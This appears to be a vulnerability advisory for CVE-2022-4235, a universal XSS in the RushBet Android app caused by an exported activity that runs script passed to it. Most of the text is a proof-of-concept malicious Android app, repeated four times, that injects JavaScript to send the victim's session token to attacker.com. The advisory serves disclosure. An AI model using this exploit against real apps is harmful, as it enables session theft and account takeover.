RushBet 2022.23.1-b490616d - Universal XSS

Description

RushBet version 2022.23.1-b490616d allows a remote attacker to steal customer accounts via use of a malicious application. This is possible because the application exposes an activity and does not properly validate the data it receives.

Vulnerability

This vulnerability occurs because the application exposes an activity and does not properly validate the data it receives.

Exploitation

To exploit this vulnerability, the victim must have a malicious application installed with activity like the following:

MainActivity.java

package com.example.badapp;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Handler;
import android.os.Bundle;
import android.net.Uri;

public class MainActivity extends AppCompatActivity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent intent = new Intent("android.intent.action.VIEW");
 intent.setClassName("com.rush.co.rb","com.sugarhouse.casino.MainActivity");
 intent.setData(Uri.parse("https://rushbet.co/"));
 startActivity(intent);

 new Handler().postDelayed(() -> {
            intent.setAction("Action.EvaluateScript");
            intent.putExtra("KeyScript","fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);");
            startActivity(intent);
        }, 30000);
    }
}

package com.example.badapp;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Handler;
import android.os.Bundle;
import android.net.Uri;

public class MainActivity extends AppCompatActivity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent intent = new Intent("android.intent.action.VIEW");
 intent.setClassName("com.rush.co.rb","com.sugarhouse.casino.MainActivity");
 intent.setData(Uri.parse("https://rushbet.co/"));
 startActivity(intent);

 new Handler().postDelayed(() -> {
            intent.setAction("Action.EvaluateScript");
            intent.putExtra("KeyScript","fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);");
            startActivity(intent);
        }, 30000);
    }
}

package com.example.badapp;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Handler;
import android.os.Bundle;
import android.net.Uri;

public class MainActivity extends AppCompatActivity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent intent = new Intent("android.intent.action.VIEW");
 intent.setClassName("com.rush.co.rb","com.sugarhouse.casino.MainActivity");
 intent.setData(Uri.parse("https://rushbet.co/"));
 startActivity(intent);

 new Handler().postDelayed(() -> {
            intent.setAction("Action.EvaluateScript");
            intent.putExtra("KeyScript","fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);");
            startActivity(intent);
        }, 30000);
    }
}

package com.example.badapp;

import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Handler;
import android.os.Bundle;
import android.net.Uri;

public class MainActivity extends AppCompatActivity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
 super.onCreate(savedInstanceState);

 Intent intent = new Intent("android.intent.action.VIEW");
 intent.setClassName("com.rush.co.rb","com.sugarhouse.casino.MainActivity");
 intent.setData(Uri.parse("https://rushbet.co/"));
 startActivity(intent);

 new Handler().postDelayed(() -> {
            intent.setAction("Action.EvaluateScript");
            intent.putExtra("KeyScript","fetch('https://attacker.com/sessionID/'+JSON.parse(sessionStorage.getItem('session-COP')).value);");
            startActivity(intent);
        }, 30000);
    }
}

Thus, when the victim opens the malicious app, the exploit will be executed, thus hacking his account.

Evidence of exploitation

Our security policy

We have reserved the CVE-2022-4235 to refer to this issue from now on. Disclosure policy

System Information

• Version: RushBet 2022.23.1-b490616d

• Operating System: GNU/Linux

Mitigation

An updated version of RushBet is available at the vendor page.

References

• Vendor page https://www.rushbet.co

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.